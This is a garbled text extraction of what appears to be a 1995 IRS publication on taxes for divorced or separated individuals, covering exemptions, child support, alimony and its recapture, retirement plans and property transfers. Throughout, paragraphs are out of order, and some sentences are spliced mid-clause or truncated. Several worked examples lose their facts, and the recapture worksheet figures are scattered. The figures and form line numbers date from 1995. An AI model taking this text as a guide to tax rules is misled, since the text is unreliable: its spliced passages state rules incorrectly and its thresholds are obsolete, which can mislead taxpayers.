paid, up to the amount of your required child support for that year. If you paid back child support by paying more than the amount required for the year paid, the back child support is not considered support for either the year paid or the earlier year.
Example 3. You and your former spouse provided all of your child’s support. Your divorce decree gives custody of your child to your former spouse. It does not say who can claim the child’s exemption. Your former spouse is considered to have given over half the child’s support, unless he or she agrees not to claim the child’s exemption on Form 8332 or a similar statement.
Form 8332. The custodial parent can sign Form 8332, Release of Claim to Exemption for Child of Divorced or Separated Parents, or a similar statement, agreeing not to claim the child’s exemption. The exemption may be released for a single year, for a number of specified years (for example, alternate years), or for all future years. If you are the noncustodial parent, you must attach the release to your return. If the exemption is released for more than one year, you must attach the original release to your return the first year and a copy each following year.. Agreements made before 1985. If you are a noncustodial parent who claims a child’s exemption under a decree or agreement made before 1985, you must give at least $600 for that child’s support. Check the box on line 6d of your Form 1040 or line 6d of your Form 1040A. Child support. Child support payments received from the noncustodial parent are considered used for the child’s support, even if actually spent on things other than support.
Example. You and your former spouse provide all your child’s support. Your 1981 divorce decree requires you to pay $800 child support each year to the custodial parent and allows you to claim your child’s exemption. Last year you paid only $500, but you made up the $300 you owed by paying $1,100 this year. The $300 back child support you paid this year is not considered support for last year or for this year.
Medical Expenses
A child of divorced or separated parents whose support test is based on the special rule described in this section is treated as a dependent of both parents for the medical expense deduction. Thus, a parent can deduct medical expenses he or she paid for the child even if an exemption for the child is claimed by the other parent.
Multiple Support Agreement
Sometimes two or more people together pay over half a dependent’s support, but no one alone pays over half. One of those people can claim an exemption for the dependent if all the following requirements are met. 1) The person paid over 10% of the dependent’s support. 2) If not for the support test, the person could claim the dependent’s exemption. 3) The person and at least one other person who meets requirement (2) together paid for over half the dependent’s support. 4) The person attaches to his or her tax return a signed Form 2120, Multiple Support Declaration, from every other person who meets requirements (1) and (2). This form states that the person who signs it will not claim the dependent’s exemption for that year.
Noncustodial Parent
Under the special rule, the parent who did not have custody, or who had it for the shorter time, is treated as the parent who gave more than half the child’s support if: 1) The custodial parent signs a statement agreeing not to claim the child’s exemption, and the noncustodial parent attaches this statement to his or her return (see Form 8332, later), or 2) A decree or written agreement made before 1985 provides that the noncustodial parent can take the exemption and he or she gave at least $600 for the child’s support during the year, unless the pre-1985 decree or agreement was modified after 1984 to specify that this provision will not apply.
Phaseout of Exemptions
The amount you can claim as a deduction for exemptions is phased out if your adjusted gross income (AGI) falls within the bracket shown below for your filing status.
Filing Status Single . . . . . . . . . . . . . . . . . . . . . . Married filing jointly or qualifying widow(er) . . . . . Married filing separately . . . Head of household . . . . . . . . AGI $114,700 – $237,200 $172,050 – $294,550 $ 86,025 – $147,275 $143,350 – $265,850
Example 1. Under your 1983 divorce decree, your former spouse has custody of your child. The decree states that you can claim the child’s exemption. You gave $1,000 of your child’s support during the year and your spouse gave the rest. You are considered to have given over half the child’s support, even if your former spouse gave more than $1,000. Example 2. You and your spouse provided all of your child’s support. Under your 1988 written separation agreement, your spouse has custody of your child. The agreement conditionally states that you can claim
Example. Your 1982 divorce decree requires you to pay child support to the custodial parent and states that you can claim your child’s exemption. The custodial parent paid for all support items and put the $1,000 child support you paid during the year into a savings account for the child. Because your payments are considered used for support, you are considered to have given over half the child’s support. Back child support. Even if you owed child support for an earlier year, your payments are considered support for the year
If your AGI is more than the highest amount in the bracket for your filing status, your deduction for exemptions is zero. If your AGI falls within the bracket, use the worksheet in the instructions for Form 1040 to figure your deduction. Page 7
Alimony
Alimony is a payment to or for a spouse or former spouse under a divorce or separation instrument. It does not include voluntary payments that are not made pursuant to a divorce or separation instrument. Alimony is deductible by the payer and must be included in the spouse’s or former spouse’s income. Although this discussion. These requirements are discussed later. Spouse or former spouse. Unless otherwise stated in the following discussions about alimony, the term ‘‘spouse’’ includes former spouse. Divorce or separation instrument. The term ‘‘divorce or separation instrument’’ means: 1) A decree of divorce or separate maintenance or a written instrument incident to that decree, 2) A written separation agreement, or 3) A decree or any type of court order requiring a spouse to make payments for the support or maintenance of the other spouse, including a temporary decree, an interlocutory (not final) decree, and a decree of alimony pendente lite (while awaiting action on the final decree or agreement).
1040; you cannot use Form 1040A or Form 1040EZ. Enter the alimony on line 29 of Form 1040. In the space provided on line 29, enter your spouse’s or former spouse’s social security number. If you do not, you may have to pay a $50 penalty and your deduction may be disallowed. If you paid alimony to more than one person, enter the social security number of one of the recipients. Show the social security number and amount paid for each other recipient on an attached statement. Enter your total payments on line 29. Reporting alimony received. Report alimony you received on line 11 of Form 1040; you cannot use Form 1040A or Form 1040EZ. You must give the person who paid the alimony your social security number. If you do not, you may have to pay a $50 penalty. Withholding on nonresident aliens. If you are a U.S. citizen or resident and you pay alimony to a nonresident alien spouse or former spouse, you must withhold income tax at a rate of 30% (or lower treaty rate) on each payment. For more information, get Publication 515, Withholding of Tax on Nonresident Aliens and Foreign Corporations.
Underpayment. If both alimony and child support payments are called for by your divorce or separation instrument, and you pay less than the total required, the payments apply first to child support and then to alimony. Example. Your divorce decree calls for you to pay your former spouse $200 a month as child support and $150 a month as alimony. If you pay the full amount of $4,200 during the year, you can deduct $1,800 as alimony and your former spouse must report $1,800 as alimony received. If you pay only $3,600 during the year, $2,400 is child support. You can deduct only $1,200 as alimony and your former spouse must report $1,200 as alimony received.
Payments to a third party. Payments to a third party on behalf of your spouse under the terms of your divorce or separation instrument may be alimony, if they otherwise qualify. This includes payments for your spouse’s medical expenses, housing costs (rent, utilities, etc.), taxes, tuition, etc. The payments are treated as received by your spouse and then paid to the third party.
General Rules
The following rules apply to alimony regardless of when the divorce or separation instrument was executed. Payments not alimony. Not all payments under a divorce or separation instrument are alimony. Alimony does not include: 1) Child support, 2) Noncash property settlements, 3) Payments that are your spouse’s part of community income, as explained later under Community Property, 4) Use of property, or 5) Payments to keep up the payer’s property.
Example 1. Under your divorce decree, you must pay your former spouse’s medical and dental expenses. If the payments otherwise qualify, you can deduct them as alimony on your return. Your former spouse must report them as alimony received and can include them in figuring deductible medical expenses. residence, also include the interest on the mortgage in figuring deductible interest. Life insurance premiums. Premiums you must pay under your divorce or separation instrument for insurance on your life qualify as alimony to the extent your spouse owns the policy.
Payments for jointly-owned home. If your divorce or separation instrument states that you must pay expenses for a home owned by you and your spouse, some of your payments may be alimony. Mortgage payments. If you must make all the mortgage payments (principal and interest) on a jointly-owned home, and they otherwise qualify, you can deduct one-half of the total payments as alimony. If you itemize deductions and the home is a qualified residence, you can include the other half of the interest in figuring your deductible interest. Your spouse must report one-half of the payments as alimony received. If your spouse itemizes deductions and the home is a qualified residence, he or she can include one-half of the interest on the mortgage in figuring deductible interest. Taxes and insurance. If you must pay all the real estate taxes or insurance on a home Page 8 residence, you can also include the interest on the mortgage in figuring your deductible interest. Child support. To determine whether a payment is child support, see the separate discussions under Instruments Executed After 1984 or Instruments Executed Before 1985, later.
held as tenants in common, you can deduct one-half of these payments as alimony. Your spouse must report one-half of these payments as alimony received. If you and your spouse itemize deductions, you can each deduct one-half of the real estate taxes. If your home is held as tenants by the entirety or joint tenants (with the right of survivorship), none of your payments for taxes or insurance are alimony. But if you itemize deductions, you can deduct all of the real estate taxes.
Each of these requirements is discussed below. Payment must be in cash. Only cash payments, including checks and money orders, qualify as alimony. Transfers of services or property (including a debt instrument of a third party or an annuity contract), execution of a debt instrument, or the use of property do not qualify as alimony. Payments to a third party. Cash payments to a third party under the terms of your divorce or separation instrument can qualify as a cash payment to your spouse. See Payments to a third party under General Rules, earlier. Also, cash payments made to a third party at the written request of your spouse qualify as alimony if all the following requirements are met. 1) The payments are in lieu of payments of alimony directly to your spouse. 2) The written request states that both spouses intend the payments to be treated as alimony. 3) You receive the written request from your spouse before you file your return for the year you made the payments. Payments designated as not alimony. You and your spouse may designate that otherwise qualifying payments are not alimony by including a provision in your divorce or separation instrument that the payments are not deductible by you and are excludable from your spouse’s income. For this purpose, any writing signed by both of you that makes this designation and that refers to a previous written separation agreement is treated as a written separation agreement. If you are subject to temporary support orders, the designation must be made in the original or a subsequent temporary support order. To exclude the payments from income, your spouse must attach a copy of the instrument designating them as not alimony to his or her return for each year the designation applies. Spouses cannot be members of the same household. Payments to your spouse while you are members of the same household are not alimony if you are one month after the date of the payment. Exception. If you are not legally separated under a decree of divorce or separate maintenance, a payment under a written separation agreement, support decree, or other court order may qualify as alimony even if you are members of the same household when the payment is made. Liability for payments after death of recipient spouse. If you must continue to make
payments for any period after your spouse’s death, none of the payments made before or after the death are alimony. The divorce or separation instrument does not have to expressly state that the payments cease upon the death of your spouse if, for example, the liability for continued payments would end under state law.
Instruments Executed After 1984
The following rules for alimony apply to payments under divorce or separation instruments executed after 1984. They also apply to payments under earlier instruments that were modified after 1984 to: 1) Specify that these rules will apply, or 2) Change the amount or period of payment or add or delete any contingency or condition. The rules in this section do not apply to divorce or separation instruments executed after 1984 if the terms for alimony are unchanged from an instrument executed before 1985. For the rules for alimony payments under other pre-1985 instruments, see Instruments Executed Before 1985, later.. Therefore, alimony payments under the decree are not subject to the rules for payments under instruments executed after 1984. Example 2. Assume the same facts as in Example 1 except that the decree of divorce changed the amount of the alimony. In this example, the decree of divorce is not treated as executed before 1985. Therefore, the alimony payments are subject to the rules for payments under instruments executed after 1984.
Example. would not terminate the payments under state law. The $10,000 annual payments are alimony. But because the $20,000 annual payments will not end upon your former spouse’s death, they are not alimony. Substitute payments. If you must make any payments in cash or property after your spouse’s death as a substitute for continuing otherwise qualifying payments, the otherwise qualifying payments are not alimony. Substitute payments can also include, depending on the facts and circumstances, payments to the extent they increase in amount or begin or accelerate as a result of your spouse’s death. Example 1.. Therefore, $10,000 of each of the $30,000 annual payments is not alimony. Example 2. – $300,000). These facts indicate that the lump-sum payment to be made after your former spouse’s death is a substitute for the full amount of the $30,000 annual payments. Therefore, none of the annual payments are alimony. The result would be the same if the payment required at death were to be discounted by an appropriate interest factor to account for the prepayment.
Page 9
Alimony Requirements
A payment to or for a spouse under a divorce or separation instrument is alimony if the spouses do not file a joint return with each other and all the following requirements are met. 1) The payment is in cash. 2) The instrument does not designate the payment as not alimony. 3) The spouses are not members of the same household (if separated under a decree of divorce or separate maintenance). 4) There is no liability to make any payment (in cash or property) after the death of the recipient spouse. 5) The payment is not treated as child support.
Child support. A payment that is specifically designated as child support or treated as specifically designated as child support under your divorce or separation instrument is not alimony. The designated amount or part may vary from time to time. Child support payments are neither deductible by the payer, nor taxable to the payee. A payment will be treated as specifically designated as child support to the extent that the payment is reduced either: 1) On the happening of a contingency relating to your child, or 2) At a time that can be clearly associated with the contingency.: Reaching a specified age or income level, Dying, Marrying, Leaving school, Leaving the household, or Becoming employed.
Recapture of Alimony
If your alimony payments decrease or terminate during the first 3 calendar years, you may be subject to the recapture rule. If you are subject to this rule, you have to include in income in 1995 part of the alimony payments you deducted in 1993 and 1994. Your spouse can deduct in 1995 part of the alimony payments included in income in those previous years.. The reasons for a reduction or termination of alimony payments can include: A failure to make timely payments, A change in your instrument, A reduction in your spouse’s support needs, or A reduction in your ability to provide support. Subject to recapture for 1995. You are subject to the recapture rule for 1995, if you answer ‘‘Yes’’ to the following questions. 1) Was 1993 the first year in which you made alimony payments to this spouse under a decree of divorce or separate maintenance or a written separation agreement? 2) Did your total payments in 1994 or 1995 decrease by more than $15,000 from the prior year? In answering the above questions, do not include payments required over a period of at least 3 calendar years of a fixed part of your income from a business or property, or from compensation for employment or self-employment. These payments are not subject to the recapture rule. Exception. You are not subject to recapture if your payments were reduced because of the death of either spouse or the remarriage of the spouse receiving the payments. Figuring the recapture. Both you and your spouse can use Table 2 at the end of this publication to figure recaptured alimony.
Including the recapture in income. If you must include a recapture amount in income, show it on Form 1040, line 11 (‘‘Alimony received’’). Cross out ‘‘received’’ and write ‘‘recapture.’’ On the dotted line next to the amount, enter your spouse’s last name and social security number. Deducting the recapture. If you can deduct a recapture amount, show it on Form 1040, line 29 (‘‘Alimony paid’’). Cross out ‘‘paid’’ and write ‘‘recapture.’’ In the space provided, enter your spouse’s social security number.
Instruments Executed Before 1985
The following rules for alimony apply to payments under divorce or separation instruments executed before 1985. However, if the instrument was modified after 1984 to specify that the rules for instruments executed after 1984 apply, or to change the terms regarding the amount or period of payment or other contingency or condition, follow the rules under Instruments Executed After 1984, earlier.
Alimony Requirements
A payment to or for a spouse under a divorce or separation instrument is alimony if the spouses do not file a joint return and the payment meets both of the following requirements. 1) It is based on the marital or family relationship. 2) It is not child support. In addition, the spouses must be separated and living apart for a payment under a separation agreement or court order to qualify as alimony. Payments of fixed sum. If you are required to pay a fixed sum in installments, your payments during the year that you treat as alimony cannot be more than 10% of the fixed sum. This limit applies to payments for the current year and payments in advance, but not to late payments for an earlier year. However, do not treat any part of a late installment payment as alimony if the fixed sum was payable over a period ending 10 years or less from the date of the divorce or separation instrument.
Clearly associated with a contingency. Payments are presumed to be reduced at a time clearly associated with the happening of a contingency relating to your child only in the following situations.
1) The payments are to be reduced not more than 6 months before or after the date the child will reach 18, 21, or local age of majority. 2) The payments are to be reduced on two or more occasions that occur not more than one year before or after a different child reaches a certain age from 18 to 24. This certain age must be the same for each child, but need not be a whole number of years. In all other situations, reductions in payments are not treated as clearly associated with the happening of a contingency relating to your child. Either you or the IRS may one-half of the duration of the marriage, you can treat the amount as alimony.
Example. Myrna pays Phil the following amounts of alimony under their 1993 divorce decree.
Year 1993 . . . . . . . . . . . . . . . . . . . . . . . . . . . 1994 . . . . . . . . . . . . . . . . . . . . . . . . . . . 1995 . . . . . . . . . . . . . . . . . . . . . . . . . . . Amount $60,000 40,000 20,000
The recaptured alimony is $22,500, as shown in Table 1. Myrna shows $22,500 as income on line 11 of her 1995 Form 1040. Phil deducts $22,500 on line 29 of his 1995 Form 1040.
Example. Your 1984 divorce decree states that you must pay your former spouse $150,000 in installments of $10,000 for 15 years. The payments are not subject to any contingencies. You paid $10,000 each year through 1993, but you made no payment in 1994. In 1995 you paid $30,000, consisting of $10,000 for 1994, $10,000 for 1995, and a $10,000 advance payment for 1996. Only $25,000 of your $30,000 payment is considered periodic. This is the $10,000 payment for 1994 and $15,000 (10% of $150,000) of the payments for 1995 and 1996. Payments subject to contingencies. Payments are not considered installment payments of a fixed sum if they are to end or
Page 10
Table 1. Worksheet for Recapture of Alimony
Note: Do not enter less than zero on any line. 1. Alimony paid in 2nd year ................................................................. 2. Alimony paid in 3rd year .......................................... 3. Floor .................................................................
20,000 40,000
$15,000
35,000 5 .................................................................
35,000 20,000 55,000 27,500 60,000
$15,000
42,500 17,500.
* 22,500
change in amount on the happening of one or more of the following contingencies. 1) Your or your spouse’s death, 2) Your spouse’s remarriage, or 3) A change in your or your spouse’s economic status. The contingency may be either specified in your instrument or imposed by local law. Marital or family relationship. To be alimony, your payments must be based on your obligation, because of the marital or family relationship, to continue supporting your spouse. Any payment that does not arise out of that support obligation, such as the repayment of a loan, is not alimony. Property settlement. Payments are not based on your obligation to continue support if they are a settlement of property rights. However, even if a state court describes payments made under a divorce decree as payments for property rights, they are alimony if they are made to fulfill a legal support obligation and they otherwise qualify. Child support. A payment that is specifically designated as child support under your divorce or separation instrument is not alimony. If the instrument calls for payments that otherwise qualify as alimony and does not separately designate an amount as child support, all the payments are alimony. This is true even
if the payments are subject to a contingency relating to your child.
Example. Your divorce decree states that you must pay your former spouse $400 a month for life for the support of your former spouse and your child. The payment is to be reduced to $300 upon the first of the following to happen: the child’s death, the child’s 22nd birthday, or the child’s marriage. Despite these contingencies, no amount of child support is fixed by the decree. Therefore, the entire payment is alimony.
alimony. It does not matter whether the amount is paid out of principal or interest. You do not include any part of the payment in your income, nor can you deduct any part. Annuity and endowment contracts. Proceeds from annuity and endowment contracts bought for or transferred to a spouse after July 18, 1984, cannot be treated as alimony. However, this does not apply to contracts bought or transferred to pay alimony under a divorce or separation instrument executed on or before July 18, 1984, unless both spouses choose to have it apply. For information on how to make this choice, see Section 1041 election under Property Settlements, later. Proceeds not alimony. If the proceeds from an annuity or endowment contract cannot be treated as alimony, the amount received is reduced by the cost of the contract. Get Publication 575, Pension and Annuity Income (Including Simplified General Rule), for information on reporting annuities, and Publication 525, Taxable and Nontaxable Income, for information on reporting endowment proceeds. If the proceeds from a trust cannot be treated as alimony, see the rules for reporting trust income in Publication 525.
Alimony Trusts, Annuities, and Endowment Contracts
If you transferred property to a trust or bought or transferred an annuity or endowment contract to pay the alimony you owe, the trust income or other proceeds that would ordinarily be includible in your income must be included in your former spouse’s income as alimony received. You do not include the payments in your income, nor can you deduct them as alimony paid. This rule applies whether the proceeds are from the earnings or the principal of the transferred property. It does not apply to any trust income that is fixed for child support.
Example. You are required to make monthly alimony payments of $500. You bought your former spouse a commercial annuity contract paying $500 a month. Your former spouse must include the full amount received under the contract in income, as
Page 11
Qualified Domestic Relations Order
A qualified domestic relations order (QDRO) is a judgment, decree, or court order (including an approved property settlement agreement) issued under a domestic relations law. A QDRO relates to the rights of someone other than a participant to receive benefits from a qualified retirement plan (such as most pension and profit-sharing plans) or a tax-sheltered annuity. It specifies the amount or portion of the participant’s benefits to be paid to the participant’s spouse, former spouse, child, or dependent. Benefits paid to a child or dependent. Benefits paid under a QDRO to the plan participant’s child or dependent are treated as paid to the participant. For information about the tax treatment of benefits from retirement plans, see Publication 575. Benefits paid to a spouse or former spouse. (the 5or 10-year tax option or capital gain treatment) if the benefits would have been treated as a lump-sum distribution had the participant received them. For this purpose, consider only the balance to the spouse’s or former spouse’s credit in determining whether the distribution is a total distribution. See LumpSum Distributions in Publication 575 for information about the special rules. Rollovers. If you receive an eligible rollover distribution under a QDRO as the plan participant’s spouse or former spouse, you can generally roll it over tax free into an individual retirement arrangement (IRA) or another qualified retirement plan. This applies to taxable distributions other than required distributions (generally, distributions that must begin once you reach age 701/ 2) and certain longterm periodic payments. You can choose to have the distribution paid directly to the new plan. If any part of the taxable distribution is paid to you, 20% will be withheld for federal income tax. You can still make a tax-free rollover to another plan or an IRA within 60 days, but for a complete rollover you must add funds from another source equal to the tax withheld. If you roll over only part of the taxable distribution, you cannot use the special lump-sum distribution rules to figure the tax on the part you keep. If you are under age 591/ 2, any taxable distribution you keep may be subject to an additional 10% tax on early distributions. For more information on the tax treatment of eligible rollover distributions, see Publication 575.
Individual Retirement Arrangements
The following discussions explain some of the effects of divorce or separation on individual retirement arrangements (IRAs). Spousal IRA. If you get a final decree of divorce or separate maintenance by the end of your tax year, you cannot deduct contributions you make to your former spouse’s IRA. You can deduct only contributions to your own IRA. For information on IRAs, get Publication 590, Individual Retirement Arrangements (IRAs). IRA transferred as a result of divorce. The transfer of all or part of your interest in an IRA to your spouse or former spouse, under a decree of divorce or separate maintenance or a written instrument incident to the decree, is not considered a taxable transfer. Starting from the date of the transfer, the IRA interest transferred is treated as your spouse’s or former spouse’s IRA. IRA contribution and deduction limit. All taxable alimony you receive under a decree of divorce or separate maintenance is treated as compensation for the IRA contribution and deduction limits. Your contributions to your IRA are limited to the smaller of: $2,000, or 100% of your compensation. If you are covered by an employer retirement plan, your deduction for contributions to your IRA may be reduced or eliminated. For more information, see Publication 590.
alien. Nor does it apply to certain transfers covered under Transfers in trust, later. The term ‘‘property’’ includes all property whether real or personal, tangible or intangible, or separate or community. It includes property acquired after the end of your marriage and transferred to your former spouse. It does not include services. Incident to divorce. A property transfer is incident to your divorce if the transfer: Occurs within one year after the date your marriage ends, or Is related to the ending of your marriage. A divorce, for this purpose, includes the ending of your marriage by annulment or due to violations of state laws. Related to the ending of marriage. A property transfer is related to the ending of your marriage if both the following conditions apply. 1) The transfer is made under your original or modified divorce or separation instrument. 2). Transfers to third parties. If you transfer property to a third party on behalf of your spouse (or former spouse, if incident to your divorce), the transfer is treated as two transfers: 1) A transfer of the property from you to your spouse or former spouse, and 2) An immediate transfer of the property from your spouse or former spouse to the third party. You do not recognize gain or loss on the first deemed transfer. Instead, your spouse or former spouse may have to recognize gain or loss on the second deemed transfer. For this treatment to apply, the transfer from you to the third party must be one of the following: 1) Required by your divorce or separation instrument, 2) Requested in writing by your spouse or former spouse, or 3) Consented to in writing by your spouse or former spouse. The consent must state that both you and your spouse or former spouse intend the transfer to be treated as a transfer from you to your spouse or
Property Settlements
You do not recognize a gain or loss on the transfer of property between spouses, or former spouses if the transfer is because of a divorce. You may, however, have to report the transaction on a gift tax return. See Gift Tax on Property Settlements, later. If you sell property that you owned jointly in order to split the proceeds as part of your property settlement, you each must report your share of the gain or loss on the sale. See Sale of Jointly-Owned Property, later.
Transfer Between Spouses, t he as s u m p t i o n o f l i a b i l i t i e s , o r o t h e r considerations. However, this rule does not apply if your spouse or former spouse is a nonresident
Page 12
former spouse subject to the rules of section 1041 of the Internal Revenue Code. You must receive the consent before filing your tax return for the year you transfer the property. Transfers in trust. If you make a transfer in trust for the benefit of your spouse (or former spouse, if incident to your divorce), you must recognize gain or loss in certain situations. You generally must recognize gain or loss if you transfer an installment obligation to a trust. However, this does not apply if the deferred profit portion of the installment obligation will revert to you or your spouse. For information on the disposition of an installment obligation, see Publication 537, Installment Sales. On other transfers in trust, you must recognize gain to the extent that the liabilities assumed by the trust, plus the liabilities to which the property is subject, exceed the total of your adjusted basis in the property transferred.
changes its use before the end of the recapture period. For more information, see the instructions for Form 4255, Recapture of Investment Credit. Record requirements. When you transfer property under these rules, you must give the recipient sufficient records to determine the adjusted basis and holding period of the property on the date of the transfer. If the recipient could be subject to recapture of investment credit, you also must provide sufficient records to determine the amount and period of the recapture. Tax treatment of property received. Property you receive from your spouse (or former spouse if the transfer is incident to divorce) is treated as acquired by gift for income tax purposes. Therefore, its value is not taxable to you. Basis of property received. Your basis in property received from your spouse (or former spouse if incident to divorce) is the same as the transferor.
they are making the choice. This statement must be attached to the first income tax return filed by the transferor for the tax year in which the first transfer occurs. A copy of the signed statement must be kept by both parties, and a copy must be attached to the transferor’s return for each later tax year in which a transfer is made under the election. Sample election. The following is an example of an acceptable statement. Section 1041 Election The undersigned hereby elect to have the provisions of section 1041 of the Internal Revenue Code apply to all qualifying transfers of property after July 18, 1984, under any instrument in effect on or before July 18, 1984. The undersigned understand that section 1041 applies to all property transferred between spouses, or former spouses incident to divorce. The parties further understand that the effects for federal income tax purposes of having section 1041 apply are that (1) no gain or loss is recognized by the transferor spouse or former spouse as a result of this transfer; and (2) the basis of the transferred property in the hands of the transferee is the adjusted basis of the property in the hands of the transferor immediately before the transfer, whether or not the adjusted basis of the transferred property is less than, equal to, or greater than its fair market value at the time of the transfer. The undersigned understand that if the transferee spouse or former spouse disposes of the property in a transaction in which gain is recognized, the amount of gain which is taxable may be larger than it would have been if this election had not been made.
Example. You own property with a fair market value of $10,000 and an adjusted basis of $1,000. The trust did not assume any liabilities. The property is subject to a $5,000 liability. Your recognized gain on the transfer of the property in trust for the benefit of your spouse is $4,000 ($5,000 – $1,000).
Reporting income from property. If you transfer income-producing property (for example, an interest in a business, rental property, stocks, or bonds), include on your tax return any profit or loss, rental income or loss, dividends, or interest generated or derived from the property during the year up to the date of transfer. Your spouse or former spouse who receives the property must report any income or loss generated or derived from the property after the date of transfer. U.S. savings bond interest. If you transfer a U.S. savings bond, include in income all interest on the bond that has been earned up to the date of transfer but not previously reported. Your spouse or former spouse who receives the bond will be taxed on interest earned after the transfer, but can usually defer reporting the interest until the bond is cashed or matures. Get Publication 550, Investment Income and Expenses, for more information. Unused passive activity losses. If you transfer an interest in a passive activity to your spouse, or former spouse if incident to divorce, you cannot deduct your accumulated unused passive activity losses allocable to the interest. Instead, the adjusted basis of the transferred interest is increased by the amount of the unused losses. For information on passive activity losses, get Publication 925, Passive Activity and At-Risk Rules. Investment credit recapture. If you transfer property for which you claimed an investment credit in an earlier year to your spouse (or former spouse if incident to divorce), you do not have to recapture any part of the credit. Instead, your spouse or former spouse may have to recapture part of the credit if he or she disposes of the property or
Note. If you received property before July 19, 1984, in exchange for your release of marital rights (see Release of marital rights under Gift Tax on Property Settlements, later), your basis in the property is its fair market value at the time of receipt. However, if you made a section 1041 election to apply the post-July 18, 1984, rules, your basis is the same as the transferor’s adjusted basis, as explained above. See Section 1041 election, later. Property transferred in trust. If the transferor recognizes gain on property transferred in trust, as described earlier under Transfers in trust, the trust’s basis in the property is increased by the recognized gain. Example. Your spouse transfers property in trust, recognizing a $4,000 gain. Your spouse’s adjusted basis in the property was $1,000. The trust’s basis in the property is $5,000 ($1,000 + $4,000). U.S. savings bonds. The basis of U.S. savings bonds you receive is increased by the interest included in the transferor’s income, as described earlier under U.S. savings bond interest.
Section 1041 election. These rules generally apply to all transfers after July 18, 1984. However, these rules do not apply to transfers after that date made under an instrument in effect on or before July 18, 1984, unless both parties choose to have them apply. If you make this choice, these rules will apply to all property transferred under the instrument. To make this choice, both spouses or former spouses must sign and include their social security numbers on a statement specifying Form 709, later. For more information about the federal gift tax, get Publication 950, Introduction to Estate and Gift Taxes.
Exceptions
Your transfer of property to your spouse or former spouse is not subject to gift tax if it meets any of the following exceptions. 1) It is made in settlement of marital support rights. 2) It qualifies for the marital deduction. 3) It is made under a divorce decree. 4) It is made under a written agreement, and you are divorced within a specified period. Page 13
5) It qualifies for the annual exclusion. Settlement of marital support rights. A transfer in settlement of marital support rights is not subject to gift tax to the extent the value of the property transferred is not more than the value of those rights. This exception does not apply to a transfer in settlement of dower, curtesy, or other marital property rights. Marital deduction. A transfer of property to your spouse before receiving a final decree of divorce or separate maintenance is not subject to gift tax. However, this exception does not apply to: Transfers of certain terminable interests, or Transfers to your spouse who is not a U.S. citizen. Get the instructions for Form 709 for more information. Transfer under divorce decree. A transfer of property under the decree of a divorce court having the power to prescribe a property settlement is not subject to gift tax. This exception also applies to a property settlement agreed on before the divorce if it was made part of or approved by the decree. Transfer under written agreement.. Annual exclusion. The first $10,000 of gifts of present interests to any person during the calendar year is not subject to gift tax. The annual exclusion is $100,000 for transfers to a spouse who is not a U.S. citizen that would qualify for the marital deduction if the donee were a U.S. citizen.
Sale of Jointly-Owned Property
If you sell property that you and your spouse own jointly, you must report your share of the gain or loss on your income tax return for the year of the sale. Your share of the gain or loss is determined by your state law governing ownership of property. For information on reporting gain or loss, get Publication 544, Sales and Other Dispositions of Assets. Sale of home. If you sell your main home and buy or build a new one, you may be able to postpone paying the tax on some or all of any gain from the sale. If you and your spouse have agreed to live apart and sell your jointlyowned home, the rules for postponing tax apply separately to the gain realized by each of you. For information on these rules, and on the rules for excluding gain if you are 55 or older when you sell your home, get Publication 523, Selling Your Home. If you are divorced after filing a joint return on which you postponed tax on the gain on the sale of your home, but you do not buy or build a new home in the time required (and your former spouse does), you must file an amended joint return to report the tax on your share of the gain. If your former spouse refuses to sign the amended joint return, attach a letter explaining why your former spouse’s signature is missing. used, such things as the time spent on each service and the fees charged locally for similar services. You can deduct the fee charged for tax advice, subject to the 2% limit.
Fees for getting alimony. Because you must include alimony you receive in your gross income, you can deduct fees you pay to get or collect alimony.
Example. You pay your attorney a fee for handling your divorce and an additional fee that is for services in getting and collecting alimony. You can deduct the fee for getting and collecting alimony, subject to the 2% limit, if it is separately stated on your attorney’s bill.
Nondeductible expenses. You cannot deduct the costs of personal advice, counseling, or legal action in a divorce. These costs are not deductible, even if they are paid, in part, to arrive at a financial settlement or to protect income-producing property.. You cannot deduct fees you pay for your spouse or former spouse, unless your payments qualify as alimony. (See Payments to a third party in the earlier discussion of the general rules for alimony.) If you have no legal responsibility arising from the divorce settlement or decree to pay your spouse’s legal fees, your payments are gifts and may be subject to the gift tax.
Costs of Getting a Divorce
You cannot deduct legal fees and court costs for getting a divorce. But you may be able to deduct legal fees paid for tax advice in connection with a divorce and legal fees to get alimony that you must include in gross income. In addition, you may be able to deduct fees you pay to appraisers, actuaries, and accountants for services in determining your correct tax or in helping to get alimony. Fees you pay may include charges that are deductible and charges that are not deductible. You should request a breakdown showing the amount charged for each service performed. You can claim deductible fees only if you itemize deductions on Schedule A (Form 1040). Claim them as miscellaneous deductions subject to the 2% of adjusted gross income limit. For more information, get Publication.
Form 709
Report a transfer of property subject to gift tax on Form 709, United States Gift (and Generation-Skipping Transfer) Tax Return. Generally, Form 709 is due April 15 following the year of the transfer. Transfer under written agreement.. Page 14
Tax Withholding and Estimated Tax
When you become divorced or separated, you will usually have to file a new Form W–4, Employee’s Withholding Allowance Certificate, with your employer to claim your proper withholding allowances. If you receive alimony, you may have to make estimated tax payments. If you do not pay enough tax either through withholding or by making estimated tax payments, you will have an underpayment of estimated tax and you may have to pay a penalty. If you do not pay enough tax by the due date of each payment, you may have to pay a penalty
Example 1. The lawyer handling your divorce consults another law firm, which handles only tax matters, to get information on how the divorce will affect your taxes. You can
even if you are due a refund when you file your tax return. For more information, get Publication 505, Tax Withholding and Estimated Tax. Joint estimated tax payments. If you and your spouse made joint estimated tax payments for 1995 but file separate returns, either of you can claim all of your payments, or you may divide them in any way you agree on. If you cannot agree, you must divide the payments in proportion to your individual tax amounts as shown on your separate returns for 1995. If you claim any of the payments on your tax return, enter your spouse’s or former spouse’s social security number in the block provided on the front of Form 1040 or Form 1040A. If you were divorced and remarried in 1995, enter your present spouse’s social security number in that block and write your former spouse’s social security number, followed by ‘‘DIV,’’ to the left of line 56, Form 1040, or line 29b, Form 1040A.
2) You do not notify your spouse of the nature and amount of the income by the due date for filing the return (including extensions). Relief from separate return liability for community income. You are not responsible for reporting an item of community income if all of the following conditions exist: 1) You do not file a joint return for the tax year, 2) You do not include an item of community income in gross income on your separate return, 3) You establish that you did not know of, and had no reason to know of, that community income, and 4) Under all facts and circumstances, it would not be fair to include the item of community income in your gross income. Spousal agreements. In some states a husband and wife may enter into an agreement that affects the status of property or income as community or separate property. Check your state law to determine how it affects you.
